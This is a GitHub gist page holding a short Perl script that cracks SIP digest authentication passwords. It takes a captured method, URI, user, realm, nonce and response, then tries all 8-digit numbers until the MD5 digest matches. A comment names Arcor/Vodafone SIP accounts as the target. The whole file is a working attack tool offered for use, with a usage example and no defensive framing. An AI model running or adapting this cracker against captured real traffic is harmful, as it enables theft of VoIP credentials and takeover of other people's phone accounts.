-
-
Save gagarine/1101711 to your computer and use it in GitHub Desktop.
Revisions
-
wose created this gist
Feb 14, 2011 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,35 @@ #!/usr/bin/env perl use strict; use warnings; use Digest::MD5 'md5_hex'; print_usage() unless($#ARGV==5); my ($method, $uri, $user, $realm, $nonce, $response) = @ARGV; my $hash_method_uri = md5_hex(join(':', $method, $uri)); my $passwd = 0; while($passwd < 100000000) { # arcor/vodafone sip passwords consists of 8 digets my $calc_response = md5_hex(join(':', md5_hex(join(':', $user, $realm, $passwd)), $nonce, $hash_method_uri)); if($calc_response eq $response) { print "password found: $passwd\n"; exit; } $passwd++; } print "password not found :-(\n"; sub print_usage { print <<"USAGE"; ./$0 <method> <uri> <user> <realm> <nonce> <response> ./$0 INVITE sip:12345\@bar.baz 0123456789 bar.baz 1234567890abcdef1234567890abcdef12345678 1234567890abcdef1234567890abcdef USAGE exit; }